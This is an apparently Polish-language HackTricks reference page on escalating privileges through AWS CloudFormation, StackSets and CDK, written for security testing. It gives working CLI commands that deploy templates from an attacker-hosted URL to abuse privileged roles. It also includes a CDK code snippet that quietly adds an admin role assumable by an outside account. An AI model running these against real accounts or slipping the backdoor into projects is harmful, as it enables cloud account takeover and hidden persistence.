AWS - Cloudformation Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
cloudformation
Aby uzyskać więcej informacji na temat cloudformation, sprawdź:
AWS - CloudFormation & Codestar Enum
iam:PassRole, cloudformation:CreateStack
Napastnik z tymi uprawnieniami może eskalować uprawnienia poprzez stworzenie stosu CloudFormation z niestandardowym szablonem, hostowanym na ich serwerze, aby wykonywać działania w ramach uprawnień określonej roli:
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>
Na poniższej stronie masz przykład eksploatacji z dodatkowym uprawnieniem cloudformation:DescribeStacks:
iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks
Potencjalny wpływ: Privesc do roli usługi cloudformation określonej.
iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)
W tym przypadku możesz nadużyć istniejącego stosu cloudformation, aby go zaktualizować i eskalować uprawnienia, jak w poprzednim scenariuszu:
aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1
Uprawnienie cloudformation:SetStackPolicy może być użyte do przyznania sobie uprawnienia UpdateStack nad stosem i przeprowadzenia ataku.
Potencjalny wpływ: Privesc do roli usługi cloudformation określonej.
cloudformation:UpdateStack | cloudformation:SetStackPolicy
Jeśli masz to uprawnienie, ale brak iam:PassRole, nadal możesz aktualizować stosy używane i nadużywać ról IAM, które już mają przypisane. Sprawdź poprzednią sekcję w celu uzyskania przykładu wykorzystania (po prostu nie wskazuj żadnej roli w aktualizacji).
Uprawnienie cloudformation:SetStackPolicy może być użyte do przyznania sobie uprawnienia UpdateStack nad stosem i przeprowadzenia ataku.
Potencjalny wpływ: Privesc do roli usługi cloudformation już przypisanej.
iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)
Napastnik z uprawnieniami do przekazywania roli oraz tworzenia i wykonywania ChangeSet może tworzyć/aktualizować nowy stos cloudformation, nadużywając ról usługi cloudformation tak jak w przypadku CreateStack lub UpdateStack.
Poniższe wykorzystanie jest wariacją CreateStack używającą uprawnień ChangeSet do stworzenia stosu.
aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1
echo "Waiting 2 mins to change the stack"
sleep 120
aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1
echo "Waiting 2 mins to execute the stack"
sleep 120
aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
Uprawnienie cloudformation:SetStackPolicy może być użyte do nadania sobie uprawnień ChangeSet nad stosem i przeprowadzenia ataku.
Potencjalny wpływ: Privesc do ról serwisowych cloudformation.
(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)
To jest jak poprzednia metoda, ale bez przekazywania ról IAM, więc możesz po prostu nadużyć już przypisanych, wystarczy zmodyfikować parametr:
--change-set-type UPDATE
Potencjalny wpływ: Privesc do roli usługi cloudformation, która jest już dołączona.
iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)
Napastnik mógłby nadużyć tych uprawnień, aby tworzyć/aktualizować StackSets w celu nadużycia dowolnych ról cloudformation.
Potencjalny wpływ: Privesc do ról usługi cloudformation.
cloudformation:UpdateStackSet
Napastnik mógłby nadużyć tego uprawnienia bez uprawnienia passRole, aby aktualizować StackSets w celu nadużycia dołączonych ról cloudformation.
Potencjalny wpływ: Privesc do dołączonych ról cloudformation.
AWS CDK
AWS cdk to zestaw narzędzi umożliwiający użytkownikom definiowanie swojej infrastruktury jako kodu w językach, które już znają, a także łatwe ponowne używanie sekcji. CDK następnie przekształca kod wysokiego poziomu (tj. python) w szablony Cloudformation (yaml lub json).
Aby używać CDK, użytkownik administracyjny musi najpierw uruchomić bootstrap konta, co tworzy kilka ról IAM, w tym rolę exec, która ma uprawnienia */*. Te role mają strukturę nazewnictwa cdk-<qualifier>-<name>-<account-id>-<region>. Bootstrap musi być wykonany raz na region na konto.
Domyślnie użytkownicy CDK nie mają dostępu do listy ról potrzebnych do używania CDK, co oznacza, że będziesz musiał je określić ręcznie. Jeśli przejmiesz maszynę dewelopera lub jakiś węzeł CI/CD, te role mogą być przyjęte, aby przyznać sobie możliwość wdrażania szablonów CFN, używając roli cfn-exec, aby umożliwić CFN wdrażanie dowolnych zasobów, całkowicie kompromitując konto.
Określenie nazw ról
Jeśli masz cloudformation:DescribeStacks, role są zdefiniowane w stosie o nazwie CDKToolkit, a możesz pobrać nazwy stamtąd.
Jeśli jesteś na maszynie, która była używana do budowy i wdrażania projektów CDK, możesz je pobrać z cdk.out/manafest.json w głównym katalogu projektów.
Możesz również dobrze zgadnąć, jakie one są. qualifier to ciąg dodawany do ról, umożliwiający jednoczesne wdrażanie wielu instancji bootstrap CDK, jednak domyślna wartość jest zakodowana na hnb659fds.
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
Dodawanie złośliwego kodu do źródła projektu
Jeśli możesz pisać do źródła projektu, ale nie możesz go samodzielnie wdrożyć (na przykład, deweloper wdraża kod za pomocą CI/CD, a nie lokalnej maszyny), nadal możesz skompromitować środowisko, dodając złośliwe zasoby do stosu. Poniższe dodaje rolę IAM, która może być przyjęta przez konto atakującego do projektu python CDK.
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)
# ----------
# Some existing code.....
# ----------
role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)
Odniesienia
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

